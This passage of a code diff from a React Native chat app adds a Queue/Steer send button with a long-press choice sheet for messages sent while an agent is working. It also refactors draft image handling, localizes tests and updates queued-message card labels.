pickImages: async () => [] }) @@ -30,7 +35,7 @@ vi.mock('@react-native-async-storage/async-storage', () => ({ default: { getItem: async () => null, setItem: async () => {}, removeItem: async () => {} } })) import { createElement, type ComponentProps } from 'react' -import { act, create, type ReactTestRenderer } from 'react-test-renderer' +import { act, create, type ReactTestInstance, type ReactTestRenderer } from 'react-test-renderer' import { afterEach, describe, expect, it, vi } from 'vitest' import { MobileNativeChatComposer as NativeChatComposer, @@ -76,7 +81,9 @@ vi.mock('lucide-react-native', () => ({ ChevronDown: 'ChevronDown', ChevronLeft: 'ChevronLeft', ChevronRight: 'ChevronRight', + CornerDownRight: 'CornerDownRight', FileText: 'FileText', + ListEnd: 'ListEnd', Mic: 'Mic', Package: 'Package', Plus: 'Plus', @@ -111,9 +118,10 @@ const structured = ( describe('MobileNativeChatComposer on a structured chat', () => { let renderer: ReactTestRenderer | null = null - afterEach(() => { + afterEach(async () => { act(() => renderer?.unmount()) renderer = null + await activateMobileUiLocale('en') }) const draw = (props: Partial>) => @@ -292,7 +300,7 @@ describe('MobileNativeChatComposer on a structured chat', () => { agent, draftScopeKey: scope, onChangeText: drafts.setComposerText, - onSend: bridge.send, + onSend: (text: string) => bridge.send(text), sendSurfaceId: scope, getSendCompletionGeneration: () => 0, getComposerEditGeneration: () => readMobileNativeChatDraftEditGeneration(scope), @@ -388,6 +396,194 @@ describe('MobileNativeChatComposer on a structured chat', () => { expect(onAttachImage).toHaveBeenCalledTimes(1) }) + it.each([ + { + locale: 'en', + send: 'Send message', + queue: 'Queue', + steer: 'Steer', + queueHint: 'Runs after the current turn', + steerHint: 'Goes into what the agent is doing now' + }, + { + locale: 'de', + send: 'Nachricht senden', + queue: 'Einreihen', + steer: 'Steuern', + queueHint: 'Läuft nach dem aktuellen Durchgang', + steerHint: 'Fließt in das ein, was der Agent gerade tut' + } + ] as const)( + 'mid-turn Send shows what a tap does, and holding it offers the other way first-marked in $locale', + async (labels) => { + await activateMobileUiLocale(labels.locale) + const onSend = vi.fn().mockResolvedValue(true) + const choices = () => + drawers()[0]!.findAll( + (node) => String(node.type) === 'Pressable' && node.props.onPress !== undefined + ) + const text = (node: ReactTestInstance) => + node + .findAll((child) => typeof child.props.children === 'string') + .map((child) => child.props.children) + await act(async () => { + renderer = create( + draw({ value: 'hi', onSend, sendFollowUp: { action: 'steer', offersChoice: true } }) + ) + }) + const send = () => labelled(labels.steer)[0]! + expect(send().findAll((node) => String(node.type) === 'CornerDownRight')).toHaveLength(1) + await act(async () => send().props.onLongPress()) + await act(async () => drawers()[0]!.props.onClose()) + expect(onSend).not.toHaveBeenCalled() + + await act(async () => send().props.onLongPress()) + expect(choices().map(text)).toEqual([ + [labels.steer, labels.steerHint], + [labels.queue, labels.queueHint] + ]) + expect(choices().map((choice) => choice.props.accessibilityState?.checked)).toEqual([ + true, + undefined + ]) + await act(async () => choices()[1]!.props.onPress()) + expect(onSend).toHaveBeenCalledExactlyOnceWith('hi', { alternate: true }) + await act(async () => send().props.onLongPress()) + await act(async () => choices()[0]!.props.onPress()) + expect(onSend).toHaveBeenCalledTimes(2) + expect(onSend).toHaveBeenLastCalledWith('hi') + + // A waiting command queues either way: the button says so, and a hold is a tap. + await act(async () => + renderer!.update( + draw({ value: 'hi', onSend, sendFollowUp: { action: 'queue', offersChoice: false } }) + ) + ) + expect(labelled(labels.queue)[0]!.props.onLongPress).toBeUndefined() + await act(async () => renderer!.update(draw({ value: 'hi', onSend, sendFollowUp: null }))) + expect(labelled(labels.send)[0]!.props.onLongPress).toBeUndefined() + } + ) + + it('the hold choice and a tap reach the outgoing request through the real send path', async () => { + const scope = mobileNativeChatScopeKey('host', 'worktree', 'hold-choice')! + resetMobileNativeChatDraftInputsForTests() + setMobileNativeChatDraftText(scope, 'hi') + // The phone's own mapping of what this build's host advertises. + const advertised = structuredAgentSessionHostSupport(AGENT_SESSION_RUNTIME_CAPABILITIES) + expect(advertised.queuedMessages).toBe(true) + let publish: ((data: unknown) => void) | undefined + const sendRequest = vi.fn(async (method) => + method === 'agentSession.send' + ? mutationOk(structuredSendResultFixture('accepted')) + : method === 'settings.get' + ? ok({ settings: {} }) + : ok({ models: [], current: {} }) + ) + const client: RpcClient = { + sendRequest, + subscribe: (method, _p, listener) => { + if (method === 'agentSession.subscribe') { + publish = listener + } + return () => {} + }, + updateTerminalSubscriptionViewport: () => {}, + getState: () => 'connected', + getReconnectAttempt: () => 0, + getLastConnectedAt: () => null, + onStateChange: () => () => {}, + notifyForeground: () => {}, + close: () => {} + } + function Conversation() { + const session = useMobileStructuredAgentSession({ + client, + sessionId: SESSION_ID, + sourceIdentity: 'host', + enabled: true, + connected: true, + agent: 'claude', + hostSupport: { ...CAPABLE, queuedMessages: advertised.queuedMessages }, + composerScopeKey: scope, + onSendError: vi.fn() + }) + const drafts = useMobileNativeChatDrafts({ + hostId: 'host', + worktreeId: 'worktree', + tabId: 'hold-choice', + sessionId: SESSION_ID, + messages: [], + transcriptSettled: true + }) + const bridge = useMobileStructuredNativeChatSendBridge({ + ...drafts, + agent: 'claude', + sendStructured: session.sendWithOutcome, + onSendError: vi.fn() + }) + const image = useMobileNativeChatImageAttachments({ + client, + agent: 'claude', + activeHandleRef: { current: null }, + deviceTokenRef: { current: null }, + getActiveWorktreeConnectionId: async () => null, + connState: 'connected', + scopeKey: scope, + enabled: true, + structuredNativeChat: true, + showToast: vi.fn(), + onSendError: vi.fn(), + baseSend: bridge.sendWithOutcome, + readSeededLaunchDraft: () => null + }) + return draw({ + value: 'hi', + onSend: image.sendNativeChat, + sendFollowUp: session.sendFollowUp, + structured: structured() + }) + } + await act(async () => { + renderer = create(createElement(Conversation)) + }) + await act(async () => + publish?.({ + ...snapshotEvent(), + page: { + ...snapshotEvent().page, + working: true, + latestTurn: null, + nextQueuedMessageId: null + } + }) + ) + const sends = () => + sendRequest.mock.calls.filter(([method]) => method === 'agentSession.send').map(([, p]) => p) + const send = () => labelled('Queue')[0]! + await act(async () => send().props.onLongPress()) + const steer = drawers()[0]!.findAll( + (node) => + String(node.type) === 'Pressable' && + node.findAll((child) => child.props.children === 'Steer').length > 0 + )[0]! + await act(async () => steer.props.onPress()) + expect(sends()).toHaveLength(1) + expect(sends()[0]).not.toHaveProperty('delivery') + + await act(async () => send().props.onPress()) + expect(sends()).toHaveLength(2) + expect(sends()[1]).toHaveProperty('delivery', 'queue-if-active') + + // A waiting command queues either way, so a hold is a tap. + const compact = queuedDraft({ + messageId: 'compact', + body: { kind: 'message', role: 'user', blocks: [], command: { name: 'compact' } } + }) + await act(async () => publish?.(batchEvent([compact]))) + expect(send().props.onLongPress).toBeUndefined() + }) + it('holds Send while a file is still uploading, and sends a stored file alone', async () => { const onSend = vi.fn().mockResolvedValue(true) const file = { id: 'f1', name: 'spec.pdf', mime: 'application/pdf', byteLength: 10 } diff --git a/mobile/src/session/native-chat/composer/MobileNativeChatComposer.test.ts b/mobile/src/session/native-chat/composer/MobileNativeChatComposer.test.ts index 24dc7f81634..fb91f863a61 100644 --- a/mobile/src/session/native-chat/composer/MobileNativeChatComposer.test.ts +++ b/mobile/src/session/native-chat/composer/MobileNativeChatComposer.test.ts @@ -47,6 +47,8 @@ vi.mock('react-native', async () => { vi.mock('lucide-react-native', () => ({ ArrowUp: 'ArrowUp', + ListEnd: 'ListEnd', + CornerDownRight: 'CornerDownRight', Check: 'Check', ChevronDown: 'ChevronDown', ChevronLeft: 'ChevronLeft', @@ -293,17 +295,6 @@ describe('MobileNativeChatComposer', () => { expect(onSend).not.toHaveBeenCalled() }) - it('keeps the draft when the send is rejected', async () => { - const onChangeText = vi.fn() - const onSend = vi.fn().mockResolvedValue(false) - await render(onSend, onChangeText) - - await act(async () => sendButton().props.onPress()) - - expect(onSend).toHaveBeenCalledWith(' hello ') - expect(onChangeText).not.toHaveBeenCalled() - }) - it('disables send while an attachment path is still being injected', async () => { const onSend = vi.fn().mockResolvedValue(true) await render(onSend, vi.fn(), true) @@ -682,14 +673,18 @@ describe('MobileNativeChatComposer', () => { expect(Keyboard.dismiss).toHaveBeenCalledTimes(1) }) - it('keeps the keyboard up when the send is rejected', async () => { + it('keeps the draft and keyboard when the send is rejected', async () => { // Keep the keyboard after rejection so the draft can be corrected and retried. vi.mocked(Keyboard.dismiss).mockClear() - await render(vi.fn().mockResolvedValue(false), vi.fn()) + const onSend = vi.fn().mockResolvedValue(false) + const onChangeText = vi.fn() + await render(onSend, onChangeText) await act(async () => sendButton().props.onPress()) expect(Keyboard.dismiss).not.toHaveBeenCalled() + expect(onSend).toHaveBeenCalledWith(' hello ') + expect(onChangeText).not.toHaveBeenCalled() }) it('does not dismiss a newly focused composer when an old accepted send settles', async () => { diff --git a/mobile/src/session/native-chat/composer/MobileNativeChatComposer.tsx b/mobile/src/session/native-chat/composer/MobileNativeChatComposer.tsx index e8563787f84..47fa0a43d22 100644 --- a/mobile/src/session/native-chat/composer/MobileNativeChatComposer.tsx +++ b/mobile/src/session/native-chat/composer/MobileNativeChatComposer.tsx @@ -1,4 +1,5 @@ import { getNativeChatAgentProfile } from '../../../../../src/shared/native-chat-agent-profiles' +import type { NativeChatSendFollowUp } from '../../../../../src/shared/native-chat-follow-up-behavior' import { recordMobileNativeChatSkillPick, useMobileNativeChatDraft @@ -33,7 +34,8 @@ import { mobileNativeChatComposerShowsStop } from './mobile-native-chat-composer import { MobileNativeChatStopButton } from '../input/MobileNativeChatStopButton' import { mobileNativeChatComposerStyles as styles } from './mobile-native-chat-composer-styles' import { composerInputStyles as inputStyles } from '../../../components/composer-input/composer-input-styles' -import { ComposerSendButton } from '../../../components/composer-input/ComposerSendButton' +import { MobileNativeChatSendButton } from './MobileNativeChatSendButton' +import type { MobileNativeChatSendIntent } from '../mobile-native-chat-send' import { MobileNativeChatComposerMic, type MobileNativeChatMicProps @@ -64,7 +66,9 @@ type Props = MobileNativeChatMicProps & { structured?: MobileNativeChatStructuredComposer | null value: string onChangeText: (text: string) => void - onSend: (text: string) => Promise + onSend: (text: string, intent?: MobileNativeChatSendIntent) => Promise + /** While the agent works on a host that queues: what a tap on Send does and whether holding it offers the other way; null otherwise. */ + sendFollowUp?: NativeChatSendFollowUp | null /** Changes whenever the route focuses a different chat composer surface. */ sendSurfaceId: string /** Reads the retained route's focus generation without forcing a screen render. */ @@ -89,6 +93,9 @@ type Props = MobileNativeChatMicProps & { stop?: { onStop?: () => void; held: boolean } | null } +/** What a chat's composer sends through, which the chat view hands down from its route. */ +export type MobileNativeChatSendProps = Pick + export function MobileNativeChatComposer({ inputRef, draftScopeKey, @@ -122,7 +129,8 @@ export function MobileNativeChatComposer({ onNeedFiles, skillDiscovery, onNeedSkills, - stop = null + stop = null, + sendFollowUp = null }: Props): React.JSX.Element { useMobileColorScheme() const t = useMobileTranslation() @@ -216,7 +224,7 @@ export function MobileNativeChatComposer({ } }, []) - const handleSend = async (): Promise => { + const handleSend = async (intent?: MobileNativeChatSendIntent): Promise => { if (!canSend || sendingRef.current) { return } @@ -228,7 +236,7 @@ export function MobileNativeChatComposer({ try { // Raw, not trimmed: the send seam owns the wire trim, and a rejection has // to hand the user back exactly what they typed (#14819). - const accepted = await onSend(value) + const accepted = await (intent ? onSend(value, intent) : onSend(value)) if ( accepted && mountedRef.current && @@ -368,7 +376,7 @@ export function MobileNativeChatComposer({ !canSend && inputStyles.sendButtonDisabled, pressed && canSend && inputStyles.pressed ]} - onPress={handleSend} + onPress={() => void handleSend()} disabled={!canSend} > @@ -376,10 +384,10 @@ export function MobileNativeChatComposer({ ) : ( - void handleSend(intent)} /> )} diff --git a/mobile/src/session/native-chat/composer/MobileNativeChatSendButton.tsx b/mobile/src/session/native-chat/composer/MobileNativeChatSendButton.tsx new file mode 100644 index 00000000000..00f102017ce --- /dev/null +++ b/mobile/src/session/native-chat/composer/MobileNativeChatSendButton.tsx @@ -0,0 +1,61 @@ +import { useState } from 'react' +import { CornerDownRight, ListEnd } from 'lucide-react-native' +import type { + NativeChatFollowUpBehavior, + NativeChatSendFollowUp +} from '../../../../../src/shared/native-chat-follow-up-behavior' +import { ActionSheetModal } from '../../../components/ActionSheetModal' +import { ComposerSendButton } from '../../../components/composer-input/ComposerSendButton' +import { useMobileTranslation } from '../../../i18n/use-mobile-translation' +import type { MobileNativeChatSendIntent } from '../mobile-native-chat-send' + +const FOLLOW_UP_ICON = { queue: ListEnd, steer: CornerDownRight } as const + +/** Send; while the agent works on a host that queues, it shows what a tap does, and holding it offers the other way when that would differ. */ +export function MobileNativeChatSendButton({ + canSend, + sendFollowUp, + onSend +}: { + canSend: boolean + sendFollowUp: NativeChatSendFollowUp | null + onSend: (intent?: MobileNativeChatSendIntent) => void +}): React.JSX.Element { + const t = useMobileTranslation() + const [open, setOpen] = useState(false) + const label = { + queue: t('chat.composer.sendQueue', 'Queue'), + steer: t('chat.composer.sendSteer', 'Steer') + } + const hint = { + queue: t('chat.composer.sendQueueHint', 'Runs after the current turn'), + steer: t('chat.composer.sendSteerHint', 'Goes into what the agent is doing now') + } + const action = sendFollowUp?.action + const choices: NativeChatFollowUpBehavior[] = + action === 'queue' ? ['queue', 'steer'] : ['steer', 'queue'] + return ( + <> + onSend()} + onLongPress={sendFollowUp?.offersChoice && canSend ? () => setOpen(true) : undefined} + canSend={canSend} + label={action ? label[action] : t('chat.composer.sendMessage', 'Send message')} + icon={action ? FOLLOW_UP_ICON[action] : undefined} + /> + setOpen(false)} + actions={choices.map((choice) => ({ + id: choice, + label: label[choice], + hint: hint[choice], + icon: FOLLOW_UP_ICON[choice], + checked: choice === action, + // Only the choice other than a tap's is the alternate; the send resolves it against the state then. + onPress: () => (choice === action ? onSend() : onSend({ alternate: true })) + }))} + /> + + ) +} diff --git a/mobile/src/session/native-chat/composer/mobile-native-chat-draft-inputs.ts b/mobile/src/session/native-chat/composer/mobile-native-chat-draft-inputs.ts index 4dc637211c1..488bec0fce3 100644 --- a/mobile/src/session/native-chat/composer/mobile-native-chat-draft-inputs.ts +++ b/mobile/src/session/native-chat/composer/mobile-native-chat-draft-inputs.ts @@ -1,4 +1,5 @@ import { useCallback, useSyncExternalStore } from 'react' +import { createUuidV4 } from '../../../../../src/shared/uuid-v4' import { pickedSkillsInText } from '../../../../../src/shared/structured-agent-session-send-mutation' import type { AgentJournalSkillRef } from '../../../../../src/shared/agent-session-journal-types' import type { PendingNativeChatImage } from './mobile-native-chat-image-attachment' @@ -63,6 +64,19 @@ export function updateMobileNativeChatDraftInputs( drafts.set(destination.scope, update(readMobileNativeChatDraftInputs(destination.scope))) listeners.get(destination.scope)?.forEach((listener) => listener()) } +/** Adds uploaded images to the draft they were picked for, each under a fresh chip id. */ +export function addMobileNativeChatDraftImages( + scope: MobileNativeChatDraftDestination, + uploadedImages: Omit[] +): void { + updateMobileNativeChatDraftInputs(scope, (current) => ({ + ...current, + images: [ + ...current.images, + ...uploadedImages.map((image) => ({ ...image, id: createUuidV4() })) + ] + })) +} export function subscribeMobileNativeChatDraftInputs( scope: string | null, listener: () => void diff --git a/mobile/src/session/native-chat/composer/use-mobile-native-chat-composer-tray.ts b/mobile/src/session/native-chat/composer/use-mobile-native-chat-composer-tray.ts index b19d162041c..4e31d209676 100644 --- a/mobile/src/session/native-chat/composer/use-mobile-native-chat-composer-tray.ts +++ b/mobile/src/session/native-chat/composer/use-mobile-native-chat-composer-tray.ts @@ -41,7 +41,8 @@ export function useMobileNativeChatComposerTray({ pause, onResume, sessionKey, - steerHeld + steerHeld, + agentWorking } = queued return useMemo( () => ({ @@ -66,7 +67,8 @@ export function useMobileNativeChatComposerTray({ onMove, pause, onResume, - steerHeld + steerHeld, + agentWorking }) ), composerInputRef @@ -84,7 +86,8 @@ export function useMobileNativeChatComposerTray({ onSend, pause, sessionKey, - steerHeld + steerHeld, + agentWorking ] ) } diff --git a/mobile/src/session/native-chat/composer/use-mobile-native-chat-image-attachments.ts b/mobile/src/session/native-chat/composer/use-mobile-native-chat-image-attachments.ts index d342fdb7481..04cb9bd932c 100644 --- a/mobile/src/session/native-chat/composer/use-mobile-native-chat-image-attachments.ts +++ b/mobile/src/session/native-chat/composer/use-mobile-native-chat-image-attachments.ts @@ -1,5 +1,5 @@ -import { createUuidV4 } from '../../../../../src/shared/uuid-v4' import { + addMobileNativeChatDraftImages, readMobileNativeChatDraftInputs, useMobileNativeChatDraftInputs, updateMobileNativeChatDraftInputs, @@ -18,6 +18,7 @@ import { } from './mobile-native-chat-image-send' import { openMobileNativeChatSendBudget, + type MobileNativeChatSendIntent, type MobileNativeChatSendOutcome } from '../mobile-native-chat-send' import { @@ -65,7 +66,8 @@ type Args = { imagePreviewUris?: string[], deadline?: number, attachments?: readonly StructuredMobileSendAttachment[], - sentAt?: number + sentAt?: number, + intent?: MobileNativeChatSendIntent ) => Promise /** Structured sessions send attachments without the terminal paste path. */ readonly structuredNativeChat: boolean @@ -91,7 +93,7 @@ export type MobileNativeChatImageAttachments = { readonly removeAttachment: (id: string) => void /** Ride any pending images along with `text`, then submit; clears the sent * chips (and only those) once the send is accepted. */ - readonly sendNativeChat: (text: string) => Promise + readonly sendNativeChat: (text: string, intent?: MobileNativeChatSendIntent) => Promise } const NO_FILES: readonly PendingNativeChatFile[] = [] @@ -123,22 +125,6 @@ export function useMobileNativeChatImageAttachments({ const images = inputs.images const attachments = useMemo(() => [...images], [images]) - const addUploadedImages = useCallback( - ( - scope: MobileNativeChatDraftDestination, - uploadedImages: Omit[] - ) => { - updateMobileNativeChatDraftInputs(scope, (current) => ({ - ...current, - images: [ - ...current.images, - ...uploadedImages.map((image) => ({ ...image, id: createUuidV4() })) - ] - })) - }, - [] - ) - const { attachImage, isAttaching } = useMobileNativeChatImageUpload({ client, activeHandleRef, @@ -147,7 +133,7 @@ export function useMobileNativeChatImageAttachments({ scopeKey, structuredNativeChat, showToast, - onImagesUploaded: addUploadedImages, + onImagesUploaded: addMobileNativeChatDraftImages, onAttachSuccess, onError }) @@ -167,7 +153,7 @@ export function useMobileNativeChatImageAttachments({ ) const sendNativeChat = useCallback( - async (text: string): Promise => { + async (text: string, intent?: MobileNativeChatSendIntent): Promise => { // Serialize clear/paste/submit ownership per terminal while allowing other // tabs to send. Shared with the prompt-card writes (answer/permission), so // a card tap can't interleave into a mid-flight paste sequence either. @@ -202,12 +188,11 @@ export function useMobileNativeChatImageAttachments({ onSendError('Message not sent (disconnected)') return false } - const outcome = await baseSend( - text, - pendingImages.map((attachment) => attachment.previewUri), - deadline, - [...pendingImages, ...storedFiles] - ) + const previews = pendingImages.map((attachment) => attachment.previewUri) + const sendAttachments = [...pendingImages, ...storedFiles] + const outcome = await (intent + ? baseSend(text, previews, deadline, sendAttachments, undefined, intent) + : baseSend(text, previews, deadline, sendAttachments)) if (outcome !== 'rejected' && destination.active) { const sentIds = new Set(pendingImages.map((attachment) => attachment.id)) updateMobileNativeChatDraftInputs(destination, (current) => ({ @@ -244,7 +229,10 @@ export function useMobileNativeChatImageAttachments({ return false } } - return (await baseSend(text, undefined, deadline, undefined, sentAt)) !== 'rejected' + const outcome = await (intent + ? baseSend(text, undefined, deadline, undefined, sentAt, intent) + : baseSend(text, undefined, deadline, undefined, sentAt)) + return outcome !== 'rejected' } const handle = activeHandleRef.current if (!client || !handle || !enabled || connState !== 'connected') { diff --git a/mobile/src/session/native-chat/input/MobileNativeChatQueuedMessages.test.tsx b/mobile/src/session/native-chat/input/MobileNativeChatQueuedMessages.test.tsx index aa8c5ee12aa..f9bd6f9ee10 100644 --- a/mobile/src/session/native-chat/input/MobileNativeChatQueuedMessages.test.tsx +++ b/mobile/src/session/native-chat/input/MobileNativeChatQueuedMessages.test.tsx @@ -1,3 +1,4 @@ +import { activateMobileUiLocale } from '../../../i18n/mobile-i18n' import { mobileQueuedMessageCards, type MobileQueuedMessageCard @@ -104,10 +105,11 @@ function card( describe('MobileNativeChatQueuedMessages', () => { let renderer: ReactTestRenderer | null = null - afterEach(() => { + afterEach(async () => { vi.restoreAllMocks() act(() => renderer?.unmount()) renderer = null + await activateMobileUiLocale('en') }) async function mount( @@ -183,19 +185,13 @@ describe('MobileNativeChatQueuedMessages', () => { expect(texts(mounted)).toContain('See this') }) - it('draws a plain waiting card as one compact row with no caption', async () => { + it('draws a translated idle card as one compact row with Send and no caption', async () => { + await activateMobileUiLocale('de') const mounted = await mount({ cards: [card({ messageId: 'w', text: 'next' })] }) const rows = mounted.root.findAllByProps({ testID: 'queued-card-row' }) expect(rows).toHaveLength(1) - expect(texts(mounted)).toEqual(['Queued', 1, 'next', 'Steer']) - expect( - mounted.root.find( - (node) => - String(node.type) === 'Text' && - node.props.children === 'next' && - !node.props.accessibilityElementsHidden - ).props.numberOfLines - ).toBe(2) + expect(texts(mounted)).toEqual(['In der Warteschlange', 1, 'next', 'Senden']) + expect(mounted.root.findByProps({ children: 'next', numberOfLines: 2 })).toBeTruthy() expect(nodeTypes(rows[0]!)).toContain('ListEnd') expect(nodeTypes(rows[0]!)).not.toContain('AlertCircle') }) @@ -318,7 +314,7 @@ describe('MobileNativeChatQueuedMessages', () => { expect(texts(mounted).filter((text) => text === reason)).toHaveLength(1) }) - it('reads Steer on a waiting card and plain Send on a returned one or one whose own send failed', async () => { + it('reads Steer during work and plain Send on a returned one or one whose own send failed', async () => { const mounted = await mount({ cards: [ card({ @@ -330,6 +326,7 @@ describe('MobileNativeChatQueuedMessages', () => { card({ messageId: 'waiting' }), card({ messageId: 'returned', state: 'returned', needsAttention: true }) ], + agentWorking: true, onSend: vi.fn(async () => true) }) expect(control(mounted, 'Send this message')).toBeTruthy() @@ -392,7 +389,8 @@ describe('MobileNativeChatQueuedMessages', () => { cards: [card({ messageId: 'w' })], onSend, onDelete, - steerHeld: true + steerHeld: true, + agentWorking: true }) const steer = control(mounted, 'Submit without interrupting the model') expect(steer.props.disabled).toBe(true) @@ -478,15 +476,15 @@ describe('MobileNativeChatQueuedMessages', () => { const mounted = await mount({ cards: [card({ messageId: 'w' })], onSend, onDelete }) // Tap all actions before disabled state renders to expose same-frame duplication. await act(async () => { - control(mounted, 'Submit without interrupting the model').props.onPress() - control(mounted, 'Submit without interrupting the model').props.onPress() + control(mounted, 'Send this message').props.onPress() + control(mounted, 'Send this message').props.onPress() control(mounted, 'Delete this queued message').props.onPress() }) expect(onSend).toHaveBeenCalledTimes(1) expect(onDelete).not.toHaveBeenCalled() expect(control(mounted, 'More actions').props.disabled).toBe(true) await act(async () => answer(true)) - expect(control(mounted, 'Submit without interrupting the model').props.disabled).toBe(false) + expect(control(mounted, 'Send this message').props.disabled).toBe(false) }) describe('a paused queue', () => { @@ -557,7 +555,7 @@ describe('MobileNativeChatQueuedMessages', () => { onSend }) const labels = ['Delete every queued message', 'Resume sending the queued messages'] - const steer = 'Submit without interrupting the model' + const steer = 'Send this message' const trigger = async (action: () => void) => { counting = true await act(async () => action()) @@ -665,7 +663,11 @@ describe('MobileNativeChatQueuedMessages', () => { it('keeps Steer on its cards: one card can still go beside the paused rest', async () => { const onSend = vi.fn(async () => true) - const mounted = await mountPaused({ pause: { reason: 'stopped' }, onSend }) + const mounted = await mountPaused({ + pause: { reason: 'stopped' }, + onSend, + agentWorking: true + }) const steer = control(mounted, 'Submit without interrupting the model') expect(texts(mounted)).toContain('Steer') expect(texts(mounted)).not.toContain('Send') @@ -695,7 +697,7 @@ describe('MobileNativeChatQueuedMessages', () => { 'Queued messages', 'Delete every queued message', 'Resume sending the queued messages', - 'Submit without interrupting the model', + 'Send this message', 'Delete this queued message', 'More actions' ]) diff --git a/mobile/src/session/native-chat/input/MobileNativeChatQueuedMessages.tsx b/mobile/src/session/native-chat/input/MobileNativeChatQueuedMessages.tsx index 95acd0d9f8c..9c75a2d397c 100644 --- a/mobile/src/session/native-chat/input/MobileNativeChatQueuedMessages.tsx +++ b/mobile/src/session/native-chat/input/MobileNativeChatQueuedMessages.tsx @@ -33,6 +33,8 @@ export type MobileNativeChatQueuedMessagesProps = { pause?: AgentSessionQueuePause | null onResume?: () => Promise steerHeld?: boolean + /** The agent is working: a steerable card's action reads Steer, otherwise Send. */ + agentWorking?: boolean } export function MobileNativeChatQueuedMessages({ @@ -45,7 +47,8 @@ export function MobileNativeChatQueuedMessages({ onMove, pause, onResume, - steerHeld = false + steerHeld = false, + agentWorking = false }: MobileNativeChatQueuedMessagesProps): React.JSX.Element | null { useMobileColorScheme() const t = useMobileTranslation() @@ -199,6 +202,7 @@ export function MobileNativeChatQueuedMessages({ busy={busyIds.has(card.messageId)} editBlocked={busyIds.has(card.messageId) || editor !== undefined || !onEdit} steerHeld={steerHeld} + agentWorking={agentWorking} onSend={() => void run(card.messageId, onSend)} onDelete={() => void run(card.messageId, onDelete)} onMore={() => setMenuFor(card.messageId)} diff --git a/mobile/src/session/native-chat/mobile-native-chat-send.ts b/mobile/src/session/native-chat/mobile-native-chat-send.ts index 3b11086de64..6044bf4b264 100644 --- a/mobile/src/session/native-chat/mobile-native-chat-send.ts +++ b/mobile/src/session/native-chat/mobile-native-chat-send.ts @@ -27,6 +27,9 @@ type MobileNativeChatSendArgs = { // Unknown delivery must not be called definite failure; structured queued drafts render as cards, not transcript echoes. export type MobileNativeChatSendOutcome = 'accepted' | 'rejected' | 'unknown' | 'queued' +/** How one send goes: `alternate` does the other thing than the host's follow-up setting. */ +export type MobileNativeChatSendIntent = { alternate?: true } + export type MobileNativeChatWriteOutcome = Exclude // Bound reconnect wait so an interactive send cannot keep the composer locked indefinitely. diff --git a/mobile/src/session/use-mobile-native-chat-controller.ts b/mobile/src/session/use-mobile-native-chat-controller.ts index 1fae8abe0ff..507e6c013cb 100644 --- a/mobile/src/session/use-mobile-native-chat-controller.ts +++ b/mobile/src/session/use-mobile-native-chat-controller.ts @@ -261,6 +261,7 @@ export function useMobileNativeChatController(args: { nativeChatActionablePromptIds: structuredNativeChat.actionablePromptIds, nativeChatCommandRefusalCauses: structuredNativeChat.commandRefusalCauses, nativeChatCanStop: activeChatStructured ? structuredNativeChat.canStop : nativeChatAgentWorking, + nativeChatSendFollowUp: activeChatStructured ? structuredNativeChat.sendFollowUp : null, nativeChatStreamingText: terminalTurn.streamingText, ...prompts, handleNativeChatStop: activeChatStructured ? structuredNativeChat.cancel : terminalTurn.stop, diff --git a/mobile/src/session/use-mobile-native-chat-queue-follow-ups.ts b/mobile/src/session/use-mobile-native-chat-queue-follow-ups.ts index 1f0509c0827..64f30207552 100644 --- a/mobile/src/session/use-mobile-native-chat-queue-follow-ups.ts +++ b/mobile/src/session/use-mobile-native-chat-queue-follow-ups.ts @@ -1,33 +1,24 @@ -import { useEffect, useState } from 'react' -import { nativeChatQueueFollowUpsRead } from '../transport/settings-read-operations' +import { useCallback, useSyncExternalStore } from 'react' +import { nativeChatQueueFollowUps } from '../../../src/shared/native-chat-follow-up-behavior' import type { RpcClient } from '../transport/rpc-client' +import { mobileNativeChatFollowUpPreference } from './mobile-native-chat-follow-up-preference' + +const defaultSnapshot = (): boolean => nativeChatQueueFollowUps(null) -// Read per connection and chat: the phone has no settings stream, and on is today's default. export function useMobileNativeChatQueueFollowUps( client: RpcClient | null, connected: boolean, sessionId: string | null ): boolean { - const [queueFollowUps, setQueueFollowUps] = useState(true) - useEffect(() => { - if (!client || !connected || !sessionId) { - return - } - let stale = false - void nativeChatQueueFollowUpsRead - .request(client) - .then((response) => { - const preference = nativeChatQueueFollowUpsRead.interpret(response) - if (!stale && preference.accepted) { - setQueueFollowUps(preference.value) - } - }) - .catch(() => { - // Keep the last answer when the host is unreachable. - }) - return () => { - stale = true - } - }, [client, connected, sessionId]) - return queueFollowUps + const preference = client ? mobileNativeChatFollowUpPreference(client) : null + const subscribe = useCallback( + (listener: () => void) => + preference && connected && sessionId ? preference.subscribe(listener) : () => {}, + [preference, connected, sessionId] + ) + return useSyncExternalStore( + subscribe, + preference?.getSnapshot ?? defaultSnapshot, + defaultSnapshot + ) } diff --git a/mobile/src/session/use-mobile-session-image-attachments.ts b/mobile/src/session/use-mobile-session-image-attachments.ts index f3b2ec4509d..b71e1248944 100644 --- a/mobile/src/session/use-mobile-session-image-attachments.ts +++ b/mobile/src/session/use-mobile-session-image-attachments.ts @@ -1,7 +1,10 @@ import type { RpcClient } from '../transport/rpc-client' import type { ConnectionState } from '../transport/types' import type { MobileImageSource } from './mobile-image-source-picker' -import type { MobileNativeChatSendOutcome } from './native-chat/mobile-native-chat-send' +import type { + MobileNativeChatSendIntent, + MobileNativeChatSendOutcome +} from './native-chat/mobile-native-chat-send' import type { StructuredMobileSendAttachment } from './use-mobile-structured-send-with-outcome' import { useMobileImageAttachment } from './use-mobile-image-attachment' import { @@ -35,7 +38,8 @@ type Args = { images?: string[], deadline?: number, attachments?: readonly StructuredMobileSendAttachment[], - sentAt?: number + sentAt?: number, + intent?: MobileNativeChatSendIntent ) => Promise readonly structuredNativeChat: boolean readonly nativeChatSessionId: string | null diff --git a/mobile/src/session/use-mobile-structured-agent-options.declared-effort.test.ts b/mobile/src/session/use-mobile-structured-agent-options.declared-effort.test.ts index 1f094b3b972..e3a23d0bbcb 100644 --- a/mobile/src/session/use-mobile-structured-agent-options.declared-effort.test.ts +++ b/mobile/src/session/use-mobile-structured-agent-options.declared-effort.test.ts @@ -15,8 +15,9 @@ it('renders trustworthy context through the phone consumer while capturing only for (const input of ['low', 'max', 'opencode', 'absent'] as const) { const { agent, model, display, live, resting, catalog } = await recordedEffortCase(input) for (const answer of [live, resting]) { + let response = Promise.resolve(answer) const { client } = optionsClient( - async () => answer, + () => response, async () => catalog ) const harness = await mountOptions({ @@ -35,6 +36,12 @@ it('renders trustworthy context through the phone consumer while capturing only } expect(effort?.kind.currentValue).toBe(display ?? undefined) expect(harness.current().sendSelection()).toEqual({ selection: { model } }) + response = new 